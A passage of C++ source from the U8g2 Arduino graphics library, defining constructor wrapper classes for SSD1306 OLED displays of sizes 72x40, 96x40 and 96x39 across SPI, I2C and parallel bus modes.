u8g2_Setup_ssd1306_72x40_er_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_72X40_ER_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_72X40_ER_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_72x40_er_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_72X40_ER_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_72X40_ER_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_72x40_er_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_72X40_ER_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_72X40_ER_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_72x40_er_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_72X40_ER_2_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_72X40_ER_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_72x40_er_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_72X40_ER_2_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_72X40_ER_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_72x40_er_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_72X40_ER_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_72X40_ER_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_72x40_er_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_72X40_ER_F_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_72X40_ER_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_72x40_er_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_72X40_ER_F_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_72X40_ER_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_72x40_er_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_72X40_ER_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_72X40_ER_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_72x40_er_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_96X40_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X40_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x40_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X40_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X40_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x40_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X40_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X40_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x40_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X40_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X40_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x40_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_96X40_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X40_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x40_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_96X40_1_6800 : public U8G2 {\n  public: U8G2_SSD1306_96X40_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x40_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X40_1_8080 : public U8G2 {\n  public: U8G2_SSD1306_96X40_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x40_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X39_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X39_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x39_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X39_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X39_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x39_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X39_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X39_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x39_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X39_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X39_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x39_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_96X39_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X39_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x39_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_96X39_1_6800 : public U8G2 {\n  public: U8G2_SSD1306_96X39_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x39_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X39_1_8080 : public U8G2 {\n  public: U8G2_SSD1306_96X39_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x39_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X40_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X40_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x40_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X40_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X40_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x40_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X40_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X40_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x40_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X40_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X40_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x40_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_96X40_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X40_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x40_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_96X40_2_6800 : public U8G2 {\n  public: U8G2_SSD1306_96X40_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x40_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X40_2_8080 : public U8G2 {\n  public: U8G2_SSD1306_96X40_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x40_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X39_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X39_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x39_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X39_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X39_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x39_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X39_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X39_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x39_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X39_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X39_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x39_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_96X39_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X39_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x39_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_96X39_2_6800 : public U8G2 {\n  public: U8G2_SSD1306_96X39_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x39_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X39_2_8080 : public U8G2 {\n  public: U8G2_SSD1306_96X39_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x39_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X40_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X40_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x40_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X40_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X40_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x40_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X40_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X40_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x40_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X40_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X40_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x40_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_96X40_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X40_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x40_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_96X40_F_6800 : public U8G2 {\n  public: U8G2_SSD1306_96X40_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x40_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X40_F_8080 : public U8G2 {\n  public: U8G2_SSD1306_96X40_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x40_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X39_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X39_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x39_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X39_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X39_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x39_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X39_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X39_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x39_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X39_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X39_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x39_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_SSD1306_96X39_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_SSD1306_96X39_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x39_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_SSD1306_96X39_F_6800 : public U8G2 {\n  public: U8G2_SSD1306_96X39_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x39_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X39_F_8080 : public U8G2 {\n  public: U8G2_SSD1306_96X39_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_96x39_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_SSD1306_96X40_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_96X40_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_96x40_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_SSD1306_96X40_1_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_96X40_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_96x40_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_SSD1306_96X40_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_SSD1306_96X40_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_96x40_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_SSD1306_96X39_1_SW_I2C : public U8G2 {\n  public: U8G2_SSD1306_96X39_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_ssd1306_i2c_96x39_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    